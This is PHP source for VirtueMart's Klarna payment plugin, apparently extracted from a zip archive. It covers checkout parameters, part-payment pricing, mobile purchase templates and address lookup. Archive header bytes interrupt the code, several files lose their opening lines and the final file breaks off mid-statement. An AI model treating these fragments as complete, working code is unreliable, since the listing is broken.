$payment_params['agb_link'] = JRoute::_ ('index.php?option=com_virtuemart&view=vendor&layout=tos&virtuemart_vendor_id=' . $vendor_id); } //$lang = KlarnaHandler::getLanguageForCountry($method, $this->country); $symbol = KlarnaHandler::getCurrencySymbolForCountry ($method, $this->country); if (KlarnaHandler::getKlarnaError ($klarnaError, $klarnaOption)) { if ($klarnaOption == 'klarna_' . $payment_type) { $payment_params['red_baloon_content'] = $klarnaError; $payment_params['red_baloon_paymentBox'] = 'klarna_box_' . $klarnaOption; //KlarnaHandler::clearKlarnaError (); } } // Something went wrong, refill what we can. $session = JFactory::getSession (); $sessionKlarna = $session->get ('Klarna', 0, 'vm'); if (!empty($sessionKlarna)) { $sessionKlarnaData = unserialize ($sessionKlarna); if (isset($sessionKlarnaData->KLARNA_DATA)) { $klarnaData = $sessionKlarnaData->KLARNA_DATA; $this->setPreviouslyFilledIn ($klarnaData); } } $payment_params['paymentPlan'] = ''; if (is_array ($kCheckout->aPClasses)) { foreach ($kCheckout->aPClasses as $pclass) { if ($pclass['default'] === TRUE) { $payment_params['paymentPlan'] = $pclass['pclass']->getId (); break; } } } if ($payment_type != "spec") { //$payment_params['conditionsLink'] = $aTemplateData['conditions']; } $payment_params['fields'] = $this->shipTo; $payment_params['payment_id'] = 'virtuemart_paymentmethod_id'; $payment_params['checkout'] = $this->klarna->checkoutHTML (); $payment_params['eid'] = $this->eid; $payment_params['year_salary'] = $this->klarna_year_salary; $payment_params['agreement_link'] = $this->payment_charge_link; $payment_params['sum'] = $invoice_fee; $payment_params['fee'] = $invoice_fee; $payment_params['invoice_fee'] = $invoice_fee; $payment_params['langISO'] = $this->lang; $payment_params['countryCode'] = $this->country; $payment_params['flag'] = KlarnaFlags::CHECKOUT_PAGE; $payment_params['payment_id'] = "payment"; $payment_params['invoice_name'] = 'klarna_invoice'; $payment_params['part_name'] = 'klarna_partPayment'; $payment_params['spec_name'] = 'klarna_SpecCamp'; $payment_params['fields']['socialNumber'] = isset($this->socialNumber)?$this->socialNumber:""; return $payment_params; } /** * Build the Payment params */ public function getCheapestMonthlyCost ($cart = NULL, $cData) { if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } if (!class_exists ('KlarnaAPI')) { require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php'); } if (!isset($this->klarna) || !($this->klarna instanceof Klarna_virtuemart)) { return NULL; } $display_fee = 0; $billTotalInCountryCurrency = 0; if (isset($cart->pricesUnformatted['billTotal'])) { $billTotalInCountryCurrency = KlarnaHandler::convertPrice ($cart->pricesUnformatted['billTotal'], $cData['vendor_currency'], $cData['virtuemart_currency_id'], $cart->pricesCurrency); } if ($billTotalInCountryCurrency <= 0) { return NULL; } $aTypes = array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN); $kCheckout = new KlarnaAPI($this->country, $this->lang, 'part', $billTotalInCountryCurrency, KlarnaFlags::CHECKOUT_PAGE, $this->klarna, $aTypes, JPATH_VMKLARNAPLUGIN); KlarnaHandler::getCheapestPclass ($kCheckout, $cheapest, $minimum); vmdebug('getCheapestMonthlyCost',$cart->pricesUnformatted['billTotal'], $billTotalInCountryCurrency , $cheapest,$minimum); if ($billTotalInCountryCurrency < $minimum) { return NULL; } if (!class_exists ('VirtueMartModelCurrency')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php'); } $sFee = $kCheckout->getPresentableValuta ($cheapest); return $sFee; } /** * @return string */ public function getTermsLink () { return 'https://static.klarna.com/external/html/' . KLARNA_SPECIAL_CAMPAIGN . '_' . strtolower ($this->country) . '.html'; } /** * @param $pid * @param $totalSum * @return string */ function displayPclass ($pid, $totalSum) { if (!class_exists ('KlarnaAPI')) { require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php'); } $kCheckout = new KlarnaAPI($this->country, $this->lang, 'part', $totalSum, KlarnaFlags::CHECKOUT_PAGE, $this->klarna, array(KlarnaPClass::ACCOUNT, KlarnaPClass::CAMPAIGN, KlarnaPClass::FIXED), JPATH_VMKLARNAPLUGIN); return $kCheckout->renderPClass ($pid); } } PK]y>\://*vmpayment/klarna/klarna/helpers/index.htmlnuW+A PK]y>\BU}5vmpayment/klarna/klarna/helpers/klarna_virtuemart.phpnuW+AVERSION = 'PHP'.phpversion().':2.0.26d'; Klarna::$debug = false; } } PK]y>\UZ667vmpayment/klarna/klarna/helpers/klarna_productprice.phpnuW+Apath = JPATH_VMKLARNAPLUGIN . '/klarna/'; if (!class_exists ('ShopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $this->cData = $cData; //$this->currencyId = ShopFunctions::getCurrencyIDByName($this->cData['currency_code']); //vmdebug ('klarna_productPrice', $this->cData); try { $this->klarna_virtuemart = new Klarna_virtuemart(); $this->klarna_virtuemart->config ($this->cData['eid'], $this->cData['secret'], $this->cData['country'], $this->cData['language'], $this->cData['currency'], $this->cData['mode'], VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), FALSE); } catch (Exception $e) { vmDebug ('klarna_productPrice', $e->getMessage (), $e->getFile() , $e->getLine(), $this->cData); vmError ('klarna_productPrice', 'klarna_productPrice: '.$e->getMessage (). " country:".$this->cData['country_code_3'] ); unset($this->klarna); } } /** * @param $product * @return bool */ private function showPP ($product, $cart) { if (!isset($this->klarna_virtuemart) || !($this->klarna_virtuemart instanceof Klarna_virtuemart)) { return FALSE; } if (!VMKLARNA_SHOW_PRODUCTPRICE) { vmDebug ('Klarna: showPP', 'dont show price because VMKLARNA_SHOW_PRODUCTPRICE'); return FALSE; } // the price is in the vendor currency // convert price in NLD currency= euro $price = KlarnaHandler::convertPrice ($product->prices['salesPrice'], $this->cData['vendor_currency'], 'EUR', $cart->pricesCurrency); if (strtolower ($this->cData['country_code']) == 'nl' && !KlarnaHandler::checkNLpriceCondition ($price )) { vmDebug ('showPP', 'dont show price for NL', $this->cData['country_code'], $price); return FALSE; } if ($price <= $this->cData['min_amount'] AND !empty($this->cData['min_amount'])) { return FALSE; } return TRUE; } /** * @param $product * @return array|null */ public function showProductPrice ($product, $cart) { if (!$this->showPP ($product, $cart)) { return NULL; } $viewData = $this->getViewData ($product); return $viewData; } /** * @param $product * @return array|null */ private function getViewData ($product) { if (!class_exists ('KlarnaAPI')) { require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnaapi.php'); } if (!class_exists ('VirtueMartModelCurrency')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'currency.php'); } $price = $product->prices['salesPrice']; $country = $this->cData['country']; $lang = $this->cData['language_code']; $types = array(KlarnaPClass::CAMPAIGN, KlarnaPClass::ACCOUNT, KlarnaPClass::FIXED); try { $kCheckout = new KlarnaAPI($country, $lang, 'part', $price, KlarnaFlags::PRODUCT_PAGE, $this->klarna_virtuemart, $types, $this->path); } catch(Exception $e) { VmDebug('getViewData','Error in ' . __METHOD__ . ': ' . $e->getMessage(), $e->getCode()); VmError( $e->getMessage(), 'getViewData'.'Error in ' . __METHOD__ . ': ' . $e->getMessage(), $e->getCode()); return NULL; } $kCheckout->setCurrency ($this->cData['currency']); // TODO : Not top to get setup values here! $this->settings = $kCheckout->getSetupValues (); if ($price > 0 && count ($kCheckout->aPClasses) > 0) { $currencydisplay = CurrencyDisplay::getInstance (); $sMonthDefault = NULL; $sTableHtml = ""; $monthTable = array(); // either in vendor's currency, or shipTo Currency $countryCurrencyId = $this->cData['virtuemart_currency_id']; $currency = CurrencyDisplay::getInstance ($countryCurrencyId); $fromCurrency = $currency->getCurrencyForDisplay (); //$paymentCurrency = CurrencyDisplay::getInstance($this->cart->paymentCurrency); //$totalInPaymentCurrency = $paymentCurrency->priceDisplay( $this->cart->pricesUnformatted['billTotal'],$this->cart->paymentCurrency) ; //$currencyDisplay = CurrencyDisplay::getInstance($this->cart->pricesCurrency); $i = 0; foreach ($kCheckout->aPClasses as $pclass) { if ($sMonthDefault === NULL || $pclass['monthlyCost'] < $sMonthDefault) { $sMonthDefault = $currency->priceDisplay ($pclass['monthlyCost'], $countryCurrencyId); } if ($pclass['pclass']->getType () == KlarnaPClass::ACCOUNT) { $pp_title = JText::_ ('VMPAYMENT_KLARNA_PPBOX_ACCOUNT'); } else { $pp_title = $pclass['pclass']->getMonths () . " " . JText::_ ('VMPAYMENT_KLARNA_PPBOX_TH_MONTH'); } $pp_price = $currency->priceDisplay ($pclass['monthlyCost'], $countryCurrencyId); $monthTable[$i] = array( 'pp_title' => html_entity_decode ($pp_title), 'pp_price' => $pp_price, 'country' => $country); $i++; } $cd = CurrencyDisplay::getInstance ($fromCurrency); $aInputValues = array(); $aInputValues['defaultMonth'] = $sMonthDefault; $aInputValues['monthTable'] = $monthTable; $aInputValues['eid'] = $this->cData['eid']; $aInputValues['country'] = KlarnaCountry::getCode ($country); if ($country == KlarnaCountry::DE) { $aInputValues['asterisk'] = '*'; } else { $aInputValues['asterisk'] = ''; } return $aInputValues; } return NULL; } } PK]y>\))vmpayment/klarna/klarna/helpers/.htaccessnuW+A Order allow,deny Deny from all PK]y>\Y##6vmpayment/klarna/klarna/helpers/impl.klarna_mobile.phpnuW+AoKlarna = &$oKlarna; $this->sTemplate = $sTemplate; $this->sPath = $sPath; $this->sCountryCode = $sCountry; $this->sLangISO = 'sv'; } /** * Fetches the product and adds it as an article to the klarna class. No need to return any data. * Articles need to be set for fraud purpose, incorrect article means no_risk invoice. Hereby klarna will not take any risks. * * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality * @param Klarna $oKlarna The Klarna class object. Used to set any articles * @return void */ abstract protected function fetchProduct($mProductId); /** * When a purchase is made, the script returns an redirect-URL or a message. When the URL is returned, the user is re-directed to this page. * This could be an URL to a downloadable file (WARNING! SHOULD ALWAYS BE A DYNAMIC URL!), or a link to a "Thank you"/confirmation page (Comon for donation purposes) * * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality * @return mixed Either NULL or FALSE if no URL is available, or STRING with full URL when URL is available. */ abstract protected function fetchRedirectUrl ($mProductId); /** * When a purchase is made (approved as well) it might needs to be added to the merchants order system. In this function you can define how the order of a product should be handled. * * @param mixed $mProductId The product identified. Either int or string. Adapted according shop functionality * @param integer $iKlarnaReference The reference returned by Klarna * @param string $sTelNo The telephone number used to make a purchase * @return void */ abstract protected function processOrder ($mProductId, $iKlarnaReference, $iTelNo); /** * Fetch the HTML from the template theme * * @return string The HTML completed as string */ public function retrieveHTML () { // Get template $sTemplate = ($this->sPath != null ? $this->sPath : "") . '/html/mobile/' . $this->sTemplate . "/" . strtolower($this->sCountryCode) . "/template.html"; return $this->translateInputFields(file_get_contents($sTemplate)); } /** * Adding an input value * * @param string $sParamName The name of an paramteter to set * @param mixed $mParamValue The value of the parameter * @return void */ public function addInput ($sParamName, $mParamValue) { $this->aInputParameters[$sParamName] = $mParamValue; } /** * Translating the fetched HTML agains dynamic values set in this class * * @param string $sHtml The HTML to translate * @return string */ private function translateInputFields ($sHtml) { $sHtml = preg_replace_callback("@{{(.*?)}}@", array($this, 'changeText'), $sHtml); return $sHtml; } /** * Changeing the text from a HTML {{VALUE}} to the acual value decided by the array * * @param array $aText The result from the match in function translateInputFields * @return mixed */ private function changeText ($aText) { // Split them $aExplode = explode(".", $aText[1]); $sType = $aExplode[0]; $sName = $aExplode[1]; if ($sType == "input") { if (array_key_exists($sName, $this->aInputParameters)) return $this->aInputParameters[$sName]; else { throw new KlarnaMobileApiException('Error in ' . __METHOD__ . ': Invalid inputfield value ('.$sName.') found in HTML code!'); return false; } } else if($sType == "lang") { return JText::_($sName); //$this->fetchFromLanguagePack($sName); } else if($sType == "setup") { return @$this->aSetupSettings[$sName]; } else if ($sType == "value") { return @$this->aInputValues[$sName]; } else { throw new KlarnaMobileApiException('Error in ' . __METHOD__ . ': Invalid field name ('.$sType.') found in HTML code!'); return false; } } /** * Fetch data from the language pack * * @param string $sText The text to fech * @return string */ public function fetchFromLanguagePack ($sText) { if ($this != null && $this->sLangISO != null) $sISO = strtolower($this->sLangISO); else $sISO = KlarnaAPI::getISOCode(); $oXml = simplexml_load_file($this->sPath . '/klarna_files/klarna_language.xml'); $aResult= (array)@$oXml->xpath("//string[@id='$sText']/$sISO"); $aResult= (array)@$aResult[0]; return @$aResult[0]; } /** * Request the code for the mobile phone * * @param string $sTelNo The telephone number * @param int $iSum The sum to request * @return mixed BOOLEAN true if success, message or exception if error */ public function requestCode ($iPid, $sTelNo) { $this->sTelNo = $sTelNo; try { $this->fetchProduct($iPid); //Transmit all the specified data, from the steps above, to Klarna. $aResult = $this->oKlarna->reserveAmount( $this->sTelNo, null, $this->iSum, KlarnaFlags::RSRV_PHONE_TRANSACTION+KlarnaFlags::RSRV_SEND_PHONE_PIN, -1 ); return $this->translateSuccesToXml($aResult[0], $aResult[1]); } catch(Exception $e) { return $this->translateErrorToXML($e->getCode(), utf8_encode($e->getMessage())); } } /** * Request the code for the mobile phone * * @param string $sTelNo The telephone number * @param int $iSum The sum to request * @return mixed BOOLEAN true if success, message or exception if error */ public function makePurchase ($iPid, $sTelNo, $sPinCode, $iRefNo) { $this->sTelNo = $sTelNo; try { $this->fetchProduct($iPid); $this->oKlarna->setExtraInfo('pin', $sPinCode); $aResult = $this->oKlarna->activateReservation( $this->sTelNo, $iRefNo, null, null, KlarnaFlags::RSRV_PHONE_TRANSACTION+KlarnaFlags::RSRV_SEND_PHONE_PIN, -1 ); $sUrl = $this->fetchRedirectUrl($iPid); $this->processOrder($iPid, $iRefNo, $sTelNo); array_push($aResult, $sUrl); return $aResult; } catch(Exception $e) { return array("-1", utf8_encode($e->getMessage()), $e->getCode()); } } private function translateErrorToXML ($iError, $sErrorMessage) { $sReturn = << -1 $iError $sErrorMessage EOD; return $sReturn; } private function translateSuccesToXml ($iStatusCode, $sMessage) { $sReturn = << $iStatusCode $sMessage EOD; return $sReturn; } } /** * KlarnaMobileApiException class. * * @package Klarna Standard Kassa API * @version 1.0 * @since 1.0 - 14 mar 2011 * @link http://integration.klarna.com/ * @copyright Copyright (c) 2011 Klarna AB (http://klarna.com) */ class KlarnaMobileApiException extends Exception { public function __construct($sMessage, $code=0, Exception $previous = null) { parent::__construct($sMessage,$code, $previous); } public function __toString() { return __CLASS__ . ":

    [Error: {$this->code}]: {$this->message}

    \n"; } }PK]y>\T00/vmpayment/klarna/klarna/helpers/klarna_ajax.phpnuW+Aapi = $api; $this->eid = $eid; $this->path = $path; $this->coSetup = array(); } /** * @param $template */ public function __setTemplate($template) { if (is_array($template)) { $this->template = array_merge($this->template, $template); } else { $this->template['name'] = $template; } } /** * @param $arr */ public function __addSetupValues($arr) { if (is_array($arr)) { $this->coSetup = array_merge($this->coSetup, $arr); } } /** * @return null * @throws KlarnaApiException */ public function languagepack() { $sSubAction = JRequest::getWord('subAction'); if (!isset($this->template['name']) || $this->template['name'] == '') { $this->template['name'] = "default"; } if ($sSubAction == "klarna_box") { $sNewISO = JRequest::getWord('newIso'); $sCountry = JRequest::getWord('country'); $iSum = JRequest::getFloat('sum', 0); $iInvoiceFee = JRequest::getFloat('fee', 0); $iFlag = JRequest::getInt('flag'); $sType = JRequest::getWord('type'); $aParams = JRequest::getVar('params'); $aValues = JRequest::getVar('values'); // foreach($aValues as $key => $value) { // $aValues[$key] = utf8_encode($value); // } // foreach($aParams as $key => $value) { // $aParams[$key] = utf8_decode($value); // } if ($sType != "part" && $sType != "invoice" && $sType != "spec") { throw new KlarnaApiException("Invalid parameters"); } $this->api->setCountry($sCountry); if ($sType == 'spec') { $types = array(KlarnaPClass::SPECIAL); } else { $types = array(KlarnaPClass::CAMPAIGN, KlarnaPClass::ACCOUNT, KlarnaPClass::FIXED); } $oApi = new KlarnaAPI ($sCountry, $sNewISO, $sType, $iSum, $iFlag, $this->api, $types, VMKLARNAPLUGINWEBROOT); // $oApi->addSetupValue ('web_root', $this->webroot); // $oApi->setPaths (); $oApi->addSetupValue('eid', $this->eid); if ($sType == 'invoice') { $oApi->setInvoiceFee($iInvoiceFee); } $oApi->setCurrency($this->api->getCurrency()); if (count($this->coSetup) > 0) { $oApi->addMultipleSetupValues($this->coSetup); } return $oApi->retrieveLayout($aParams, $aValues); // if ($sType == 'spec') { // return $oApi->retrieveHTML($aParams, $aValues, null, $this->template); // } else { // return $oApi->retrieveHTML ($aParams, $aValues); // } } else { if ($sSubAction == 'jsLanguagePack') { $sNewISO = JRequest::getWord('newIso'); $sFetch = ""; } else { throw new KlarnaApiException("Invalid sub-action"); } } } public function getAddress() { $aSessionCalls = array(); // Check the session for calls if (array_key_exists('klarna_address', $_SESSION)) { $sSessionCalls = base64_decode($_SESSION['klarna_address']); $aSessionCalls = unserialize($sSessionCalls); } $sPNO = JRequest::getWord('socialNumber'); //JRequest::getWord('pno'); $sCountry = strtolower(JRequest::getWord('country')); if (array_key_exists($sPNO, $aSessionCalls)) { $addrs = $aSessionCalls[$sPNO]; } else { $addrs = $this->api->getAddresses($sPNO, NULL, KlarnaFlags::GA_GIVEN); $aSessionCalls[$sPNO] = $addrs; $_SESSION['klarna_address'] = base64_encode(serialize($aSessionCalls)); } $sString = "\n"; //eval breaks at question-mark gt $sString .= "\n"; //This example only works for GA_GIVEN. foreach ($addrs as $index => $addr) { if ($addr->isCompany) { $implode = array( 'companyName' => $addr->getCompanyName(), 'street' => $addr->getStreet(), 'zip' => $addr->getZipCode(), 'city' => $addr->getCity(), 'countryCode' => $addr->getCountryCode() ); } else { $implode = array( 'first_name' => $addr->getFirstName(), 'last_name' => $addr->getLastName(), 'street' => $addr->getStreet(), 'zip' => $addr->getZipCode(), 'city' => $addr->getCity(), 'countryCode' => $addr->getCountryCode() ); } $sString .= "
    \n"; foreach ($implode as $key => $val) { $sString .= "<" . $key . ">" . Klarna::num_htmlentities($val) . "\n"; } $sString .= "
    \n"; } $sString .= "
    "; return array( 'type' => 'text/xml', 'value' => $sString); } } PK]y>\r41vmpayment/klarna/klarna/helpers/klarnahandler.phpnuW+A array( 'pno_encoding' => 3, 'language' => 97, 'language_code' => 'nb', 'country' => 164, 'currency' => 1, 'currency_code' => 'NOK', 'currency_symbol' => 'kr', 'country_code' => 'no'), 'SWE' => array( 'pno_encoding' => 2, 'language' => 138, 'language_code' => 'sv', 'country' => 209, 'country_code' => 'se', 'currency' => 0, 'currency_code' => 'SEK', 'currency_symbol' => 'kr'), 'DNK' => array( 'pno_encoding' => 5, 'language' => 27, 'language_code' => 'da', 'country' => 59, 'country_code' => 'dk', 'currency' => 3, 'currency_code' => 'DKK', 'currency_symbol' => 'kr', ), 'FIN' => array( 'pno_encoding' => 4, 'language' => 37, 'language_code' => 'fi', 'country' => 73, 'country_code' => 'fi', 'currency' => 2, 'currency_code' => 'EUR', 'currency_symbol' => '€' ), 'NLD' => array( 'pno_encoding' => 7, 'language' => 101, 'language_code' => 'nl', 'country' => 154, 'country_code' => 'nl', 'currency' => 2, 'currency_code' => 'EUR', 'currency_symbol' => '€', ), 'DEU' => array( 'pno_encoding' => 6, 'language' => 28, 'language_code' => 'de', 'country' => 81, 'country_code' => 'de', 'currency' => 2, 'currency_code' => 'EUR', 'currency_symbol' => '€' )); return $countriesData; } /** * @static * @param $method * @param $country * @return array|null */ static function countryData ($method, $country) { $countriesData = self::countriesData (); $lower_country = strtolower ($country); if (array_key_exists (strtoupper ($country), $countriesData)) { $cData = $countriesData[strtoupper ($country)]; $eid = 'klarna_merchantid_' . $lower_country; $secret = 'klarna_sharedsecret_' . $lower_country; $invoice_fee = 'klarna_invoicefee_' . $lower_country; $min_amount = 'klarna_min_amount_part_' . $lower_country; $payment_activated = 'klarna_payments_' . $lower_country; $active = 'klarna_active_' . $lower_country; $cData['eid'] = $method->$eid; $cData['secret'] = $method->$secret; $cData['invoice_fee'] = (double)$method->$invoice_fee; $cData['country_code_3'] = $country; $cData['virtuemart_currency_id'] = ShopFunctions::getCurrencyIDByName ($cData['currency_code']); $cData['virtuemart_country_id'] = ShopFunctions::getCountryIDByName ($country); $cData['mode'] = KlarnaHandler::getKlarnaMode ($method, $country); $cData['min_amount'] = $method->$min_amount; $cData['active'] = $method->$active; if (empty($method->$payment_activated)){ $method->$payment_activated=array('invoice', 'part'); } $cData['payments_activated'] = $method->$payment_activated; if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $vendor_id = 1; $cData['vendor_currency'] = VirtueMartModelVendor::getVendorCurrency ($vendor_id)->vendor_currency; return $cData; } else { return NULL; } } /** * @static * @param $method * @param $country * @return array|null */ public static function getCountryData ($method, $country) { //$country = self::convertToThreeLetterCode($country); return self::countryData ($method, $country); } /** * @static * @param $method * @param $country * @return mixed */ public static function convertCountry ($method, $country) { $country_data = self::countryData ($method, $country); return $country_data['country_code']; } /** * @static * @param $method * @param $country * @return mixed */ public static function getLanguageForCountry ($method, $country) { $country = self::convertToThreeLetterCode ($country); $country_data = self::countryData ($method, $country); return $country_data['language_code']; } /** * @static * @param $method * @param $country * @return mixed */ public static function getCurrencySymbolForCountry ($method, $country) { $country_data = self::countryData ($method, $country); return $country_data['currency_symbol']; } /** * @static * @param $method * @param $country * @return mixed */ public static function getInvoiceFee ($method, $country) { $invoice_fee = 'klarna_invoicefee_' . strtolower ($country); return $method->$invoice_fee; } /** * @static * @param $method * @param $country * @return mixed */ public static function getInvoiceTaxId ($method, $country) { $invoice_fee_tax = 'klarna_invoice_tax_id_' . strtolower ($country); return $method->$invoice_fee_tax; } /** * The invoice fee is in the vendor currency, and should be converted to the payment currency * * @static * @param $method * @param $country * @return mixed */ public static function getInvoiceFeeInclTax ($method, $country, $cartPricesCurrency, $cartPaymentCurrency, &$display_invoice_fee, &$invoice_fee) { $method_invoice_fee = self::getInvoiceFee ($method, $country); $invoice_tax_id = self::getInvoiceTaxId ($method, $country); vmdebug ('getInvoiceFeeInclTax', $cartPaymentCurrency, $invoice_fee); if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $vendor_id = 1; $vendor_currency = VirtueMartModelVendor::getVendorCurrency ($vendor_id); //$currency = CurrencyDisplay::getInstance (); $paymentCurrency = CurrencyDisplay::getInstance ($cartPaymentCurrency); $invoice_fee = (double)round ($paymentCurrency->convertCurrencyTo ($cartPaymentCurrency, $method_invoice_fee, FALSE), 2); $currencyDisplay = CurrencyDisplay::getInstance ($cartPricesCurrency); $paymentCurrency = CurrencyDisplay::getInstance ($cartPaymentCurrency); $display_invoice_fee = $paymentCurrency->priceDisplay ($method_invoice_fee, $cartPaymentCurrency); $currencyDisplay = CurrencyDisplay::getInstance ($cartPricesCurrency); vmdebug ('getInvoiceFeeInclTax', $cartPaymentCurrency, $invoice_fee, $invoice_tax_id, $display_invoice_fee); return; } /* * @depredecated */ /** * @static * @param $country * @return string */ public static function convertToThreeLetterCode ($country) { switch (strtolower ($country)) { case "se": return "swe"; case "de": return "deu"; case "dk": return "dnk"; case "nl": return "nld"; case "fi": return "fin"; case "no": return "nor"; default: return $country; } } /** * @static * @return array */ public static function getKlarnaCountries () { $klarna_countries = array("swe", "deu", "dnk", "nld", "fin", "nor"); return $klarna_countries; } /** * @static * @return array */ static function getDataFromEditPayment () { VmConfig::loadJLang('com_virtuemart_shoppers', true); $kIndex = 'klarna_'; $klarna['klarna_paymentmethod'] = JRequest::getVar ($kIndex . 'paymentmethod'); if ($klarna['klarna_paymentmethod'] == 'klarna_invoice') { $klarna_option = 'invoice'; } elseif ($klarna['klarna_paymentmethod'] == 'klarna_partPayment') { $klarna_option = 'part'; } elseif ($klarna['klarna_paymentmethod'] == 'klarna_speccamp') { $klarna_option = 'spec'; } else { return NULL; } $prefix=$klarna_option . '_' . $kIndex ; //Removes spaces, tabs, and other delimiters. $klarna['pno'] = preg_replace ('/[ \t\,\.\!\#\;\:\r\n\v\f]/', '', JRequest::getVar ($prefix . 'pnum', '')); $klarna['socialNumber'] = preg_replace ('/[ \t\,\.\!\#\;\:\r\n\v\f]/', '', JRequest::getVar ($prefix . 'socialNumber')); $klarna['phone'] = JRequest::getVar ($prefix . 'phone'); $klarna['email'] = JRequest::getVar ($prefix . 'emailAddress'); $klarna['street'] = JRequest::getVar ($prefix . 'street'); $klarna['house_no'] = JRequest::getVar ($prefix . 'homenumber'); $klarna['house_ext'] = JRequest::getVar ($prefix . 'house_extension'); $klarna['year_salary'] = JRequest::getVar ($prefix . 'ysalary'); $klarna['reference'] = JRequest::getVar ($prefix . 'reference'); $klarna['city'] = JRequest::getVar ($prefix . 'city'); $klarna['zip'] = JRequest::getVar ($prefix . 'zipcode'); $klarna['first_name'] = JRequest::getVar ($prefix . 'firstName'); $klarna['last_name'] = JRequest::getVar ($prefix . 'lastName'); $klarna['invoice_type'] = JRequest::getVar ('klarna_invoice_type'); $klarna['company_name'] = JRequest::getVar ('klarna_company_name'); $klarna['phone'] = JRequest::getVar ($prefix . 'phone'); $klarna['consent'] = JRequest::getVar ($prefix . 'consent'); $klarna['gender'] = JRequest::getVar ($prefix . 'gender'); switch ($klarna['gender']) { case KlarnaFlags::MALE : $klarna['title'] = JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MR'); break; case KlarnaFlags::FEMALE: //$this->klarna_gender = KlarnaFlags::FEMALE; $klarna['title'] = JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MRS'); break; } $klarna['birth_day'] = JRequest::getVar ($prefix . 'birth_day', ''); $klarna['birth_month'] = JRequest::getVar ($prefix . 'birth_month', ''); $klarna['birth_year'] = JRequest::getVar ($prefix . 'birth_year', ''); if (isset($klarna['birth_year']) and !empty($klarna['birth_year'])) { // due to the select list if ($klarna['birth_month'] != 0 and $klarna['birth_month'] != 0) { $klarna['birthday'] = $klarna['birth_year'] . "-" . $klarna['birth_month'] . "-" . $klarna['birth_day']; $klarna['pno_frombirthday'] = JRequest::getVar ($prefix . 'birth_day') . JRequest::getVar ($prefix . 'birth_month') . JRequest::getVar ($prefix . 'birth_year'); } else { $klarna['birthday'] = ''; } } else { $klarna['birthday'] = ''; } return $klarna; } /** * @static * @param $cData * @param $order * @return KlarnaAddr */ private static function getBilling ($cData, $order) { $bt = $order['BT']; $bill_country = shopFunctions::getCountryByID ($bt['virtuemart_country_id'], 'country_2_code'); //$cData = self::countryData($method, $country); $bill_street = $bt['address_1']; $bill_ext = ""; $bill_number = ""; if (strtolower ($bill_country) == "de" || strtolower ($bill_country) == "nl") { $splitAddress = array('', '', ''); $splitAddress = self::splitAddress ($bt['address_1']); $bill_street = $splitAddress[0]; $bill_number = $splitAddress[1]; switch ($bt['title']) { case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MR'): //$this->klarna_gender = KlarnaFlags::MALE; break; case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MISS'): case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MRS'): //$this->klarna_gender = KlarnaFlags::FEMALE; break; default: //$this->klarna_gender = NULL; break; } if (strtolower ($bill_country) == "nl") { $bill_ext = $splitAddress[2]; } } $billing = new KlarnaAddr( $bt['email'], $bt['phone_1'], @$bt['phone_2'], utf8_decode ($bt['first_name']), utf8_decode ($bt['last_name']), '', utf8_decode ($bill_street), $bt['zip'], utf8_decode ($bt['city']), $bill_country, $bill_number, $bill_ext ); return $billing; } /** * @static * @param $method * @param $order * @param $klarna_pclass * @return array|bool * @throws Exception */ public static function addTransaction ($method, $order, $klarna_pclass) { if (!class_exists ('KlarnaAddr')) { require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'api' . DS . 'klarnaaddr.php'); } $session = JFactory::getSession (); $sessionKlarna = $session->get ('Klarna', 0, 'vm'); $sessionKlarnaData = unserialize ($sessionKlarna); if (!isset($sessionKlarnaData)) { throw new Exception("No klarna Session data set"); } $klarnaData = $sessionKlarnaData->KLARNA_DATA; if (VMKLARNA_SHIPTO_SAME_AS_BILLTO) { $shipTo = $order['details']['BT']; } else { $shipTo = (!isset($order['details']['ST']) or empty($order['details']['ST']) or count ($order['details']['ST']) == 0) ? $order['details']['BT'] : $order['details']['ST']; } $billTo = $order['details']['BT']; $country = shopFunctions::getCountrybyID ($shipTo->virtuemart_country_id, 'country_3_code'); $cData = self::countryData ($method, $country); //$total_price_excl_vat = self::convertPrice($order['details']['BT']->order_subtotal, $cData['currency_code']); //$total_price_incl_vat = self::convertPrice($order['details']['BT']->order_subtotal + $order['details']['BT']->order_tax, $cData['currency_code'], $order['details']['BT']->order_currency); $mode = KlarnaHandler::getKlarnaMode ($method, $cData['country_code_3']); $ssl = KlarnaHandler::getKlarnaSSL ($mode); // Instantiate klarna object. $klarna = new Klarna_virtuemart(); $klarna->config ($cData['eid'], $cData['secret'], $cData['country_code'], $cData['language'], $cData['currency_code'], $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), $ssl); // Sets order id's from other systems for the upcoming transaction. $klarna->setEstoreInfo ($order['details']['BT']->order_number); // Fill the good list the we send to Klarna foreach ($order['items'] as $item) { if ($item->product_basePriceWithTax!=0.0) { if ( $item->product_basePriceWithTax != $item->product_final_price) { $price= $item->product_basePriceWithTax; } else { $price= $item->product_final_price; } } else { if ( $item->product_priceWithoutTax != $item->product_item_price) 